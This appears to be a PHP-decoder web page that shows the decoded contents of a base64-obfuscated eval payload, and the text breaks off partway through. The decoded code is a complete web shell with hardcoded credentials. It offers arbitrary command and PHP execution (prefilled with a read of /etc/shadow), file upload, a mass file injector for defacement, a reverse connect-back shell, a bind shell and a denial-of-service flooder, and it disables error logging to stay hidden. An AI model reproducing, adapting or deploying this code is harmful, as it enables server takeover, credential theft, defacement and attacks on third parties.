Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".base64_decode("PD9waHAgDQoNCiR1c2VyID0gIkNMQVlURUFNIjsgDQokcGFzcyA9ICJ4aG..

Decoded Output download

?>b'<?php 

$user = "CLAYTEAM"; 
$pass = "xhack3rx"; 

error_reporting(0); 
ini_set(\'max_execution_time\',0); 


// ------------------------------------- Some header Functions (Need to be on top) ---------------------------------\ 

/**************** Defines *********************************/ 

$lock = "on"; // set this to off if you dont need the login page 
$tracebackFeature = "on"; // set this feature to enable email alerts 
$ownerEmail = "[email protected]"; // Change this to your email , This email is used to deliver tracebacks about your shell 
$url = (!empty($_SERVER[\'HTTPS\'])) ? "https://".$_SERVER[\'SERVER_NAME\'].$_SERVER[\'REQUEST_URI\'] : "http://".$_SERVER[\'SERVER_NAME\'].$_SERVER[\'REQUEST_URI\']; 
$phpVersion=phpversion(); 
$self=$_SERVER["PHP_SELF"]; // Where am i 
$sm = @ini_get(\'safe_mode\'); 
$SEPARATOR = \'/\'; // Default Directory separator 
$os = "N/D"; 
if(stristr(php_uname(),"Windows")) 
{ 
        $SEPARATOR = \'\\'; 
        $os = "Windows"; 
} 
else if(stristr(php_uname(),"Linux")) 
{ 
        $os = "Linux"; 
} 


//*************************************************************/ 

// -------------- Traceback Functions 

function sendLoginAlert() 
{ 
    global $ownerEmail; 
    global $url; 
    $accesedIp = $_SERVER[\'REMOTE_ADDR\']; 
    $randomInt = rand(0,1000000);           # to avoid id blocking 
    $from = "[email protected]";  
     
    //echo $from; 
     
    if(function_exists(\'mail\')) 
    { 
        $subject = "Shell Accessed -- CLAY-Sh3LL --"; 
        $message = " 
Hey Owner , 
         
        Your Shell(Madleet-Shell) located at $url was accessed by $accesedIp 
         
        If its not you :- 
         
        1. Please check if the shell is secured. 
        2. Change your user name and Password. 
        3. Check if lock is 0n! 
        and Kick that ****** out! 
         
        Thanking You 
         
Yours Faithfully 
CLAY-Sh3LL
        "; 
        mail($ownerEmail,$subject,$message,\'From:\'.$from); 
    } 
} 

//--------------------------------------------------------- 


if(function_exists(\'session_start\') && $lock == \'on\') 
{ 
    session_start(); 
} 
else 
{ 
    // The lock will be set to \'off\' if the session_start fuction is disabled i.e if sessions are not supported  
    $lock = \'off\'; 
} 

//logout 

if(isset($_GET[\'logout\']) && $lock == \'on\') 
{ 
    $_SESSION[\'authenticated\'] = 0; 
    session_destroy(); 
    header("location: ".$_SERVER[\'PHP_SELF\']); 
} 

ini_set(\'max_execution_time\',0); 



/***************** Restoring *******************************/ 


ini_restore("safe_mode_include_dir"); 
ini_restore("safe_mode_exec_dir"); 
ini_restore("disable_functions"); 
ini_restore("allow_url_fopen"); 
ini_restore("safe_mode"); 
ini_restore("open_basedir"); 

if(function_exists(\'ini_set\')) 
{ 
    ini_set(\'error_log\',NULL);  // No alarming logs 
    ini_set(\'log_errors\',0);    // No logging of errors 
    ini_set(\'file_uploads\',1);  // Enable file uploads 
    ini_set(\'allow_url_fopen\',1);   // allow url fopen  
} 

else 
{ 
    ini_alter(\'error_log\',NULL); 
    ini_alter(\'log_errors\',0); 
    ini_alter(\'file_uploads\',1); 
    ini_alter(\'allow_url_fopen\',1); 
} 

// ---------------------------------------------------------------------------------------------------------------- 


?> 
<html> 
<head> 
<title>"CLAY-Sh3LL" | WhoAmi | Tunisia</title> 


<style> 

/* 
==========================     
    CSS Section 
========================== 
*/ 

*{ 
    padding:0; 
    margin:0; 
} 

.alert 
{ 
    background:red; 
    color:white; 
    font-weight:bold; 
} 
td.info 
{ 
    width:0px; 
} 

.bind  
{ 
    border: 1px solid #333333; 
    margin: 15px auto 0; 
    font-size: small; 
} 

div.end * 
{ 
    font-size:small; 
} 

div.end  
{ 
    width:100%; 
    background:#222; 
} 

p.blink 
{ 
    text-decoration: blink; 
} 

body  
{ 
    background-color:black; 
    color:rgb(35,182,39); 
    font-family:Tahoma,Verdana,Arial; 
    font-size: small; 
} 

input.own { 
    background-color: #004848; 
    color: white; 
    border : 1px solid #FF0000; 
} 

blockquote.small 
{ 
    font-size: smaller; 
    color: silver; 
    text-align: center; 
} 

table.files 
{ 
    border-spacing: 10px; 
    font-size: small; 
} 

h1 { 
    padding: 4px; 
    padding-bottom: 0px; 
    margin-right : 5px; 
} 
div.logo 
{ 
    border-right: 1px #19d0d0; 
} 
div.header 
{ 
    padding-left: 5px; 
    font-size: small; 
    text-align: left; 
} 
div.nav 
{ 
    margin-top:1px; 
    height:30px; 
    background-color: #FF0000; 
} 
div.nav ul 
{ 
    list-style: none; 
    padding: 4px; 
} 
div.nav li 
{ 
    float: left; 
    margin-right: 10px; 
    text-align:center; 
} 
textarea.cmd 
{ 
    border : 1px solid #111; 
    background-color : #004848; 
    font-family: Shell; 
    color : white; 
    margin-top: 10px; 
    font-size:small; 
} 

input.cmd 
{ 
    background-color:black; 
    color: white; 
    width: 400px; 
    border : 1px solid #FF0000; 

} 
td.maintext 
{ 
    font-size: large; 
} 
#margins 
{ 
    margin-left: 10px; 
    margin-top: 10px; 
    color:white; 
} 
table.top 
{ 
    border-bottom: 1px #16f601; 
    width: 100%; 
} 
#borders 
{ 
    border-top : 1px #16f601; 
    border-left:1px #16f601; 
    border-bottom: 1px #16f601; 
    border-right: 1px #16f601; 
    margin-bottom:0; 
} 
td.file a , .file a 
{ 
    color : aqua; 
    text-decoration:none; 
} 
a.dir 
{ 
    color:white; 
    font-weight:bold; 
    text-decoration:none; 
} 
td.dir a 
{ 
    color : white; 
    text-decoration:none; 
} 
td.download,td.download2 
{ 
    color:#004848; 
} 
#spacing 
{ 
    padding:10px; 
    margin-left:200px; 
} 
th.header 
{ 
    background: none repeat scroll 0 0 #191919; 
    color: white; 
    border-bottom : 1px solid #333333; 
} 
p.warning 
{ 
    background : red; 
    color: white; 
} 

/* 

--------------------------------CSS END------------------------------------------------------ 

*/ 
</style> 
</head> 

<body text="rgb(39,245,10)" bgcolor="black"> 
<?php 

if(isset($_POST[\'user\']) && isset($_POST[\'pass\']) && $lock == \'on\') 
{ 
    if( $_POST[\'user\'] == $user && 
         $_POST[\'pass\'] == $pass ) 
    { 
            $_SESSION[\'authenticated\'] = 1; 
            // --------------------- Tracebacks -------------------------------- 
            if($tracebackFeature == \'On\') 
            { 
                sendLoginAlert(); 
            } 
            // ------------------------------------------------------------------ 
    } 
} 

if($lock == \'off\') 
{?> 
    <p class="warning"><b>Lock is Switched Off! , The shell can be accessed by anyone!</b></p> 
<?php 
} 

if($lock == \'on\' && (!isset($_SESSION[\'authenticated\']) || $_SESSION[\'authenticated\']!=1) ) 
{ 

?> 
<table> 
    <tbody> 
        <tr> 
             
        <pre> 
<center><font color="Orange"> 
<b><title>[!] CLaYTeaM - SheLL</title>
<link href=\'http://fonts.googleapis.com/css?family=Iceland\' rel=\'stylesheet\' type=\'text/css\'>
<style>body{cursor:url("../www.madleets.com/elhacker.cur"),auto;}html{display:table;height:100%;width:100%;}body{display:table-row;}body{display:table-cell;vertical-align:middle;text-align:center;}a:link{text-decoration:none;}</style>
<center><img src="http://i.imgur.com/6kBd5g4.png" alt="logo">
<br><br><br>
<body bgcolor=\'black\'>
<font face="Iceland" style="color:red;text-shadow:0px 1px 5px #000;font-size:60px">[!] Official CLaYTeaM SheLL</font>
</center>
<br>
<font face="Iceland" style="color:lime;text-shadow:0px 1px 5px #000;font-size:30px"></font> </center>
</b> 
</pre> 
            </td> 
           
                <!-- <h1><?php // echo $greeting;?></h1>  
                <img src="Logo_03.png" class="imageForm" /> --> 
                <form method="POST" action="<?php echo $_SERVER[\'PHP_SELF\'];?>"> 
                <input name="user" value="Username"/> <input name="pass" type="password" value="Password"/> <input class="own" type="Submit" value="Own This Box!"/> 
                </form> 
            </td> 
        </tr> 
    </tbody> 
</table> 
<?php 
} 
//---------------------------------- We are authenticated now------------------------------------- 
//Launch the shell 
else  
{ 
    //---------------------------------- Fuctions --------------------------------------------------- 

    function showDrives() 
    { 
        global $self; 
        foreach(range(\'A\',\'Z\') as $drive) 
        { 
            if(is_dir($drive.\':\\')) 
            { 
                ?> 
                <a class="dir" href=\'<?php echo $self ?>?dir=<?php echo $drive.":\"; ?>\'> 
                    <?php echo $drive.":\" ?> 
                </a>  
                <?php 
            } 
        } 
    } 

    function HumanReadableFilesize($size) 
    { 
  
        $mod = 1024; 
  
        $units = explode(\' \',\'B KB MB GB TB PB\'); 
        for ($i = 0; $size > $mod; $i++)  
        { 
            $size /= $mod; 
        } 
  
        return round($size, 2) . \' \' . $units[$i]; 
    } 

function getClientIp() 
{ 
    echo $_SERVER[\'REMOTE_ADDR\']; 
} 

function getServerIp() 
{ 
    echo getenv(\'SERVER_ADDR\'); 
} 
function getSoftwareInfo() 
{ 
    echo php_uname(); 
} 
function diskSpace() 
{ 
    echo HumanReadableFilesize(disk_total_space("/")); 
} 
function freeSpace() 
{ 
    echo HumanReadableFilesize(disk_free_space("/")); 
} 
function getSafeMode() 
{ 
        global $sm; 
        echo($sm?"ON :( :\'( (Most of the Features will Not Work!)":"OFF"); 
         
} 

function getDisabledFunctions() 
{ 
    if(!ini_get(\'disable_functions\')) 
    { 
        echo "None"; 
    } 
    else 
    { 
            echo @ini_get(\'disable_functions\'); 
    } 
} 

function getFilePermissions($file) 
{ 
     
$perms = fileperms($file); 

if (($perms & 0xC000) == 0xC000) { 
    // Socket 
    $info = \'s\'; 
} elseif (($perms & 0xA000) == 0xA000) { 
    // Symbolic Link 
    $info = \'l\'; 
} elseif (($perms & 0x8000) == 0x8000) { 
    // Regular 
    $info = \'-\'; 
} elseif (($perms & 0x6000) == 0x6000) { 
    // Block special 
    $info = \'b\'; 
} elseif (($perms & 0x4000) == 0x4000) { 
    // Directory 
    $info = \'d\'; 
} elseif (($perms & 0x2000) == 0x2000) { 
    // Character special 
    $info = \'c\'; 
} elseif (($perms & 0x1000) == 0x1000) { 
    // FIFO pipe 
    $info = \'p\'; 
} else { 
    // Unknown 
    $info = \'u\'; 
} 

// Owner 
$info .= (($perms & 0x0100) ? \'r\' : \'-\'); 
$info .= (($perms & 0x0080) ? \'w\' : \'-\'); 
$info .= (($perms & 0x0040) ? 
            (($perms & 0x0800) ? \'s\' : \'x\' ) : 
            (($perms & 0x0800) ? \'S\' : \'-\')); 

// Group 
$info .= (($perms & 0x0020) ? \'r\' : \'-\'); 
$info .= (($perms & 0x0010) ? \'w\' : \'-\'); 
$info .= (($perms & 0x0008) ? 
            (($perms & 0x0400) ? \'s\' : \'x\' ) : 
            (($perms & 0x0400) ? \'S\' : \'-\')); 

// World 
$info .= (($perms & 0x0004) ? \'r\' : \'-\'); 
$info .= (($perms & 0x0002) ? \'w\' : \'-\'); 
$info .= (($perms & 0x0001) ? 
            (($perms & 0x0200) ? \'t\' : \'x\' ) : 
            (($perms & 0x0200) ? \'T\' : \'-\')); 

return $info; 

} 

/***********************************************************/ 
// exec_all , A function used to execute commands , This function will only execute if the Safe Mode is 
// Turned OfF! 
/**********************************************************/ 


function exec_all($command) 
{ 
     
    $output = \'\'; 
    if(function_exists(\'exec\')) 
    {    
        exec($command,$output); 
        $output = join("
",$output); 
    } 
     
    else if(function_exists(\'shell_exec\')) 
    { 
        $output = shell_exec($command); 
    } 
     
    else if(function_exists(\'popen\')) 
    { 
        $handle = popen($command , "r"); // Open the command pipe for reading 
        if(is_resource($handle)) 
        { 
            if(function_exists(\'fread\') && function_exists(\'feof\')) 
            { 
                while(!feof($handle)) 
                { 
                    $output .= fread($handle, 512); 
                } 
            } 
            else if(function_exists(\'fgets\') && function_exists(\'feof\')) 
            { 
                while(!feof($handle)) 
                { 
                    $output .= fgets($handle,512); 
                } 
            } 
        } 
        pclose($handle); 
    } 
     
     
    else if(function_exists(\'system\')) 
    { 
        ob_start(); //start output buffering 
        system($command); 
        $output = ob_get_contents();    // Get the ouput  
        ob_end_clean();                 // Stop output buffering 
    } 
     
    else if(function_exists(\'passthru\')) 
    { 
        ob_start(); //start output buffering 
        passthru($command); 
        $output = ob_get_contents();    // Get the ouput  
        ob_end_clean();                 // Stop output buffering             
    } 
     
    else if(function_exists(\'proc_open\')) 
    { 
        $descriptorspec = array( 
                1 => array("pipe", "w"),  // stdout is a pipe that the child will write to 
                ); 
        $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array \'pipes\' 
        if(is_resource($handle)) 
        { 
            if(function_exists(\'fread\') && function_exists(\'feof\')) 
            { 
                while(!feof($pipes[1])) 
                { 
                    $output .= fread($pipes[1], 512); 
                } 
            } 
            else if(function_exists(\'fgets\') && function_exists(\'feof\')) 
            { 
                while(!feof($pipes[1])) 
                { 
                    $output .= fgets($pipes[1],512); 
                } 
            } 
        } 
        pclose($handle); 
    } 
    else 
    { 
        $output = "They have their Security there! :( "; 
    } 
     
    return(htmlspecialchars($output)); 
     
} 
function magicQuote($text) 
{ 
    if (!get_magic_quotes_gpc()) 
    { 
        return $text; 
    } 
    return stripslashes($text); 
} 
//------------------------------------------------------------------------------------------------ 


?> 

<table class="top"> 
    <tbody> 
        <tr> 
            <td> 
            <div class="logo"> 
                <h1><link href=\'http://fonts.googleapis.com/css?family=Iceland\' rel=\'stylesheet\' type=\'text/css\'>
<style>body{cursor:url("../www.madleets.com/elhacker.cur"),auto;}html{display:table;height:100%;width:100%;}body{display:table-row;}body{display:table-cell;vertical-align:middle;text-align:center;}a:link{text-decoration:none;}</style>
<center><img src="http://i.imgur.com/6kBd5g4.png" alt="logo">
</center>
<font face="Iceland" style="color:lime;text-shadow:0px 1px 5px #000;font-size:30px"></h1><blockquote class="small">Shell</blockquote> 
                 
            </div> 
            </td> 
            <td> 
            <div class="header"> 
            <?php getSoftwareInfo(); ?><br /> 
Your IP : <?php getClientIp(); ?> <font color="silver" >|</font> Server IP : <?php getServerIp();?> <br /> 
            Safe Mode : <?php getSafeMode(); ?><br /> 
            <?php if($os == \'Windows\'){ echo showDrives();} ?> <?php echo getcwd();?> 
            </div> 
            </td> 
        </tr> 
    </tbody> 
</table> 
<div class="header" id="borders"> 
            Server ADMIN: <?php echo $_SERVER[\'SERVER_ADMIN\'];?> <font color="silver" >|</font> 
            PHP VERSION : <?php echo $phpVersion; ?> <font color="silver" >|</font> 
            Curl : <?php echo function_exists(\'curl_version\')?("<font color=\'red\'>Enabled</font>"):("Disabled"); ?> <font color="silver" >|</font> 
            Oracle : <?php echo function_exists(\'ocilogon\')?("<font color=\'red\'>Enabled</font>"):("Disabled"); ?> <font color="silver" >|</font> 
            MySQL : <?php  echo function_exists(\'mysql_connect\')?("<font color=\'red\'>Enabled</font>"):("Disabled");?> <font color="silver" >|</font> 
            MSSQL : <?php echo function_exists(\'mssql_connect\')?("<font color=\'red\'>Enabled</font>"):("Disabled"); ?> <font color="silver" >|</font> 
            PostgreSQL : <?php echo function_exists(\'pg_connect\')?("<font color=\'red\'>Enabled</font>"):("Disabled"); ?> <font color="silver" >|</font> 
            Disable functions : <?php getDisabledFunctions(); ?> <font color="silver" >|</font> 
            Space : <?php diskSpace(); ?> <font color="silver" >|</font> 
            Free : <?php freeSpace(); ?> 
        </table> 
</div> 
<div class="nav"> 
<ul> 
    <li><a href="<?php echo $self;?>">Home</a></li> 
    <li><a href="<?php echo $self.\'?upload\';?>">Upload</a></li> 
    <li><a href="<?php echo $self.\'?shell\';?>">Shell</a></li> 
    <li><a href="<?php echo $self.\'?dos\';?>">DDoS</a></li> 
    <li><a href="<?php echo $self.\'?fuzz\';?>">Web-Server Fuzzer</a></li> 
    <li><a href="<?php echo $self.\'?mail\'?>">Mass Mailer</a></li> 
    <li><a href="<?php echo $self.\'?bomb\'?>">Mail Bomber</a></li> 
    <li><a href="<?php echo $self.\'?connect\'?>">Connect</a></li> 
    <li><a href="<?php echo $self.\'?injector\'?>">Mass Code Injector</a></li> 
    <li><a href="<?php echo $self.\'?decode\'?>">PHP Decoder</a></li> 
    <li><a href="<?php echo $self.\'?eval\'?>">PHP Evaluate</a></li> 

    <?php if($lock == \'on\') 
    { 
    ?> 
        <li><a href="<?php echo $self.\'?logout\'?>">I m Out!</a></li> 
    <?php 
    } 
    ?> 
</ul> 
</div> 

<?php 
//-------------------------------- Check what he wants ------------------------------------------- 

// Shell 

if(isset($_GET[\'shell\'])) 
{ 
    if(!isset($_GET[\'cmd\']) || $_GET[\'cmd\'] == \'\') 
    { 
        $result = "";     
    } 
    else 
    { 
        $result=exec_all($_GET[\'cmd\']); 
    } 
    ?> 
    <textarea class="cmd" cols="100" rows="20"><?php echo $result;?></textarea><br /><br /> 
    <form action="<?php echo $self;?>" method="GET"> 
    <!-- For Shell --> 
    <input name="shell" type="hidden" /> 
    <!-- For CMD --> 
    <input name="cmd" class="cmd" /> 
    <input name="submit" value="Spin That Shit!" class="own" type="submit" /> 
    </form> 
    <?php 
} 


// PHP evaluate 

else if(isset($_GET[\'eval\'])) 
{ 
    ?> 
    <form method="POST"> 
    <textarea name="code" class="cmd" cols="100" rows="20"><?php 
    // If the comand was sent 
    if(isset($_POST[\'code\']) 
        && $_POST[\'code\'] 
    ) 
    { 
        // FIlter Some Chars we dont need 

        $code = str_replace("<?php","",$_POST[\'code\']); 
        $code = str_replace("<?","",$code); 
        $code = str_replace("?>","",$code); 

        // Evaluate PHP CoDE! 

        htmlspecialchars(eval($code)); 
    } 
    else 
    { 
        ?>echo file_get_contents(\'/etc/shadow\');<?php 
    } 
    ?></textarea><br /><br /> 
    <input name="submit" value="Eval That COde! :D" class="own" type="submit" /> 
    </form> 
    <?php 
     
} 

// Upload 

else if(isset($_GET[\'upload\'])) 
{ 

    if (isset($_POST[\'file\']) && 
        isset($_POST[\'path\'])  
     ) 
    { 
        $path = $_POST[\'path\']; 
             
        if($path[(strlen($path)-1)] != $SEPARATOR){$path = $path.$SEPARATOR;} 
         
        if(is_dir($path)) 
        { 
            $uploadedFilePath = $_FILES[\'file\'][\'name\']; 
            $tempName = $_FILES[\'file\'][\'tmp_name\']; 
            $uploadPath = $path .  $uploadedFilePath; 
            $stat = move_uploaded_file($tempName , $uploadedFilePath); 
            if ($stat) 
            { 
                echo "<p class=\'warning\'>File uploaded to $uploadPath</p>"; 
            } 
            else 
            { 
                echo "<p class=\'warning\' > :( :\'( Failed to upload file to $uploadPath</p>"; 
            } 
         } 
    } 
    else 
    { 
    ?> 
    <table class="bind" align="center" > 
    <tr> 
        <th class="header" colspan="1" width="50px">Upload (From ur Computer)</th> 
    </tr> 
    <tr> 
         <td> 
            <table style="border-spacing: 6px;"> 
                <form method="POST" enctype="multipart/form-data"> 
                 
                <tr> 
                    <td width="100"><input type="file" name="file"/></td> 
                    <td><input type="submit" name="file" class="own" value="Upload"/></td> 
             
                </tr> 
                 
                 <tr> 
                    <td colspan="2"> 
                        <input class=\'cmd\' style="width: 280px;" name=\'path\' value="<?php echo getcwd(); ?>" />    
                    </td> 
                </tr> 
                 
                </form> 
            </table> 
         </td> 
    </tr> 
    </table> 
<?php 
    } 

} 

// Code Injector 

else if(isset($_GET[\'injector\'])) 
{ 
    if(isset($_GET[\'dir\']) && 
    $_GET[\'dir\'] != \'\' && 
    isset($_GET[\'filetype\']) && 
    $_GET[\'filetype\'] != \'\' && 
    isset($_GET[\'mode\']) && 
    $_GET[\'mode\'] != \'\' &&  
    isset($_GET[\'message\']) && 
    $_GET[\'message\'] != \'\'  
    ) 
    { 
        $dir = $_GET[\'dir\']; 
        $filetype = $_GET[\'filetype\']; 
        $message = $_GET[\'message\']; 
         
        $mode = "a"; //default mode 
         
         
        // Modes Begin 
         
        if($_GET[\'mode\'] == \'Apender\') 
        { 
            $mode = "a"; 
        } 
        if($_GET[\'mode\'] == \'Overwriter\') 
        { 
            $mode = "w"; 
        } 
         
        if($handle = opendir($dir)) 
        { 
            ?> 
            Overwritten Files :- 
            <ul style="padding: 10px;" > 
            <?php 
            while(($file = readdir($handle)) !== False) 
            { 
                if((preg_match("/$filetype".\'$\'.\'/\', $file , $matches) != 0) && (preg_match(\'/\'.$file.\'$/\', $self , $matches) != 1)) 
                { 
                    ?> 
                        <li class="file"><a href="<?php echo "$self?open=$dir$file"?>"><?php echo $file; ?></a></li> 
                    <?php 
                    echo "
"; 
                    $fd = fopen($dir.$file,$mode); 
                    fwrite($fd,$message); 
                } 
            } 
            ?> 
            </ul> 
            <?php 
        } 
    } 
    else 
    { 
        ?> 
        <table id="margins" > 
        <tr> 
            <form method=\'GET\'> 
            <input type="hidden" name="injector"/>   
                <tr> 
                    <td width="100" class="title"> 
                        Directory 
                    </td> 
                    <td> 
                         <input class="cmd" name="dir" value="<?php echo getcwd().$SEPARATOR; ?>" /> 
                    </td> 
                </tr> 
                <tr> 
                <td class="title"> 
                    Mode 
                </td> 
                <td> 
                        <select style="width: 400px;" name="mode" class="cmd"> 
                            <option value="Apender">Apender</option> 
                            <option value="Overwriter">Overwriter</option> 
                        </select> 
                </td> 
                </tr> 
                <tr> 
                    <td class="title"> 
                        File Type 
                    </td> 
                    <td> 
                        <input type="text" class="cmd" name="filetype" value=".php" onblur="if(this.value==\'\')this.value=\'.php\';" /> 
                    </td> 
                </tr> 
                 
                 
                <tr> 
                    <td colspan="2"> 
                        <textarea name="message" cols="173" rows="10" class="cmd">All i remember are those lonely nights when i was defacing those insecure websites!</textarea> 
                    </td> 
                </tr> 
                 
                 
                <tr> 
                    <td rowspan="2"> 
                        <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="own" value="Inject :D"/> 
                    </td> 
                </tr> 
        </form> 
        </table> 
        <?php 
    } 
} 
// Connect 

else if(isset($_GET[\'connect\'])) 
{ 
    if(isset($_POST[\'ip\']) && 
     isset($_POST[\'port\']) &&  
        $_POST[\'ip\'] != "" && 
        $_POST[\'port\'] != "" 
     ) 
    { 
        echo "<p>The Program is now trying to connect!</p>"; 
        $ip = $_POST[\'ip\'];  
        $port=$_POST[\'port\'];  
        $sockfd=fsockopen($ip , $port , $errno, $errstr );  
        if($errno != 0) 
        { 
            echo "<font color=\'red\'><b>$errno</b> : $errstr</font>"; 
        } 
        else if (!$sockfd) 
        {  
               $result = "<p>Fatal : An unexpected error was occured when trying to connect!</p>"; 
        }  
        else 
        {  
            fputs ($sockfd ,"
=================================================================
ClayTeam-Shell | C0d3d by WhoAmi | Tunisia
================================================================="); 
         $pwd = exec_all("pwd"); 
         $sysinfo = exec_all("uname -a"); 
         $id = exec_all("id"); 
         $dateAndTime = exec_all("time /t & date /T"); 
         $len = 1337; 
         fputs($sockfd ,$sysinfo . "
" ); 
         fputs($sockfd ,$pwd . "
" ); 
         fputs($sockfd ,$id ."

" ); 
         fputs($sockfd ,$dateAndTime."

" ); 
         while(!feof($sockfd)) 
         {   
            $cmdPrompt ="(ClayTeaM-Shell)[$]> "; 
            fputs ($sockfd , $cmdPrompt );  
            $command= fgets($sockfd, $len); 
            fputs($sockfd , "
" . exec_all($command) . "

"); 
        }  
        fclose($sockfd);  
        }  
    } 
    else if( 
    isset($_POST[\'port\']) && 
    isset($_POST[\'passwd\']) &&  
    $_POST[\'port\'] != "" && 
    $_POST[\'passwd\'] != ""  ) 
    { 
        // Set time limit to indefinite execution 
        set_time_limit (0); 
         
         
        // Set the ip and port we will listen on 
        $address = \'127.0.0.1\'; 
        $port = $_POST[\'port\']; 
        $pass = $_POST[\'passwd\']; 

        if(function_exists("socket_create")) 
        { 
        // Create a TCP Stream socket 
        $sockfd = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); 

       
        // Bind the socket to an address/port 
         
         
        if(socket_bind($sockfd, $address, $port) == FALSE) 
        { 
            echo "Cant Bind to the specified port and address!"; 
        } 
        // Start listening for connections 
        socket_listen($sockfd,15); 
         
     
        $passwordPrompt = "
=================================================================
ClayTeam-Shell | C0d3d by WhoAmi | Tunisia
=================================================================

0xPassword : "; 
         
        /* Accept incoming requests and handle them as child processes */ 
        $client = socket_accept($sockfd); 
         

        socket_write($client , $passwordPrompt); 
        // Read the pass from the client 
        $input = socket_read($client, strlen($pass) + 2); // +2 for 
 
        if(trim($input) == $pass) 
        { 
            socket_write($client , "

"); 
            socket_write($client , ($os == "Windows") ? exec_all("date /t & time /t")  . "
" . exec_all("ver") : exec_all("date") . "
" . exec_all("uname -a")); 
            socket_write($client , "

"); 
            while(1) 
            { 
                // Print Command prompt 
                $commandPrompt ="(Madleet-Shell)[$]> "; 
                $maxCmdLen = 31337; 
                socket_write($client,$commandPrompt); 
                $cmd = socket_read($client,$maxCmdLen); 
                if($cmd == FALSE) 
                { 
                    echo "The client Closed the conection!"; 
                    break; 
                } 
                socket_write($client , exec_all($cmd)); 
            } 
        } 
        else 
        { 
            echo "Wrong Password!"; 
            socket_write($client, "sU(|< - 0FF Bitch!

"); 
        } 
        socket_shutdown($client, 2); 
        socket_close($socket); 
         
        // Close the client (child) socket 
        //socket_close($client); 
        // Close the master sockets 
        //socket_close($sock); 
        } 
        else 
        { 
            echo "Socket Conections not Allowed/Supported by the server! <br />"; 
        } 
    } 
    else 
    { 
    ?>        
    <table class="bind" align="center" > 
    <tr> 
        <th class="header" colspan="1" width="50px">Back Connect</th> 
        <th class="header" colspan="1" width="50px">Bind Shell</th> 
    </tr> 
    <tr> 
        <form method=\'POST\' >   
         <td> 
            <table style="border-spacing: 6px;"> 
                <tr> 
                    <td>IP </td> 
                    <td> 
                        <input style="width: 200px;" class="cmd" name="ip" value="<?php getClientIp();?>" /> 
                    </td> 
                </tr> 
                <tr> 
                    <td>Port </td> 
                    <td><input style="width: 100px;" class="cmd" name="port" size=\'5\' value="31337"/>&nbsp;&nbsp;<input style="width: 90px;" class="own" type="submit" value="Connect!"/></td> 
                </tr> 
            </table> 
         </td> 
         </form>  
         <form method="POST"> 
         <td> 
            <table style="border-spacing: 6px;"> 
                <tr> 
                    <td>Port</td> 
                    <td> 
                        <input style="width: 200px;" class="cmd" name="port" value="1337" /> 
                    </td> 
                </tr> 
                <tr> 
                    <td>Passwd </td> 
                    <td><input style="width: 100px;" class="cmd" name="passwd" size=\'5\' value="Madleet"/>&nbsp;&nbsp;<input style="width: 90px;" class="own" type="submit" value="Bind :D!"/></td> 
                </tr> 
            </table> 
         </td> 
         </form> 
    </tr> 
    </table> 
    <p align="center" style="color: red;" >Note : After clicking Submit button , The browser will start loading continuously , Dont close this window , Unless you are done!</p> 
<?php 
    } 
} 

//fuzzer 

else if(isset($_GET[\'fuzz\'])) 
{ 
    if(isset($_GET[\'ip\']) && 
    isset($_GET[\'port\']) && 
    isset($_GET[\'times\']) && 
    isset($_GET[\'time\']) && 
    isset($_GET[\'message\']) && 
    isset($_GET[\'messageMultiplier\']) && 
    $_GET[\'message\'] != "" && 
    $_GET[\'time\'] != "" && 
    $_GET[\'times\'] != "" && 
    $_GET[\'port\'] != "" && 
    $_GET[\'ip\'] != "" && 
    $_GET[\'messageMultiplier\'] != "" 
    ) 
    { 
       $IP=$_GET[\'ip\']; 
       $port=$_GET[\'port\']; 
       $times = $_GET[\'times\']; 
       $timeout = $_GET[\'time\']; 
       $send = 0; 
       $ending = ""; 
       $multiplier = $_GET[\'messageMultiplier\']; 
       $data = ""; 
       $mode="tcp"; 
       $data .= "GET /"; 
       $ending .= " HTTP/1.1




"; 
        if($_GET[\'type\'] == "tcp") 
        { 
            $mode = "tcp"; 
        } 
        while($multiplier--) 
        { 
            $data .= urlencode($_GET[\'message\']); 
        } 
        $data .= "%s%s%s%s%d%x%c%n%n%n%n";// add some format string specifiers 
        $data .= "by-Madleet-shell".$ending; 
        $length = strlen($data); 
         
         
       echo "Sending Data :- <br /> <p align=\'center\'>$data</p>"; 
         
       print "I am at ma Work now :D ;D! Dont close this window untill you recieve a message <br>"; 
       for($i=0;$i<$times;$i++) 
       { 
            $socket = fsockopen("$mode://$IP", $port, $error, $errorString, $timeout); 
            if($socket) 
            { 
                fwrite($socket , $data , $length ); 
                fclose($socket); 
            } 
        } 
        echo "<script>alert(\'Fuzzing Completed!\');</script>"; 
        echo "DOS attack against $mode://$IP:$port completed on ".date("h:i:s A")."<br />"; 
        echo "Total Number of Packets Sent : " . $times . "<br />"; 
        echo "Total Data Sent = ". HumanReadableFilesize($times*$length) . "<br />";  
        echo "Data per packet = " . HumanReadableFilesize($length) . "<br />"; 
    } 
    else 
    { 
        ?> 
        <form method="GET"> 
            <input type="hidden" name="fuzz" /> 
            <table id="margins"> 
                <tr> 
                    <td width="400" class="title"> 
                        IP 
                    </td> 
                    <td> 
                        <input class="cmd" name="ip" value="127.0.0.1" onfocus="if(this.value == \'127.0.0.1\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'127.0.0.1\';"/> 
                    </td> 
                </tr> 
                 
                <tr> 
                    <td class="title"> 
                        Port 
                    </td> 
                    <td> 
                        <input class="cmd" name="port" value="80" onfocus="if(this.value == \'80\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'80\';"/> 
                    </td> 
                </tr> 
                 
                <tr> 
                    <td class="title"> 
                        Timeout 
                    </td> 
                    <td> 
                        <input type="text" class="cmd" name="time" value="5" onfocus="if(this.value == \'5\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'5\';"/> 
                    </td> 
                </tr> 
                 
                 
                <tr> 
                    <td class="title"> 
                        No of times 
                    </td> 
                    <td> 
                        <input type="text" class="cmd" name="times" value="100" onfocus="if(this.value == \'100\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'100\';" /> 
                    </td> 
                </tr> 
                 
                <tr> 
                    <td class="title"> 
                        Message <font color="red">(The message Should be long and it will be multiplied with the value after it)</font> 
                    </td> 
                    <td> 
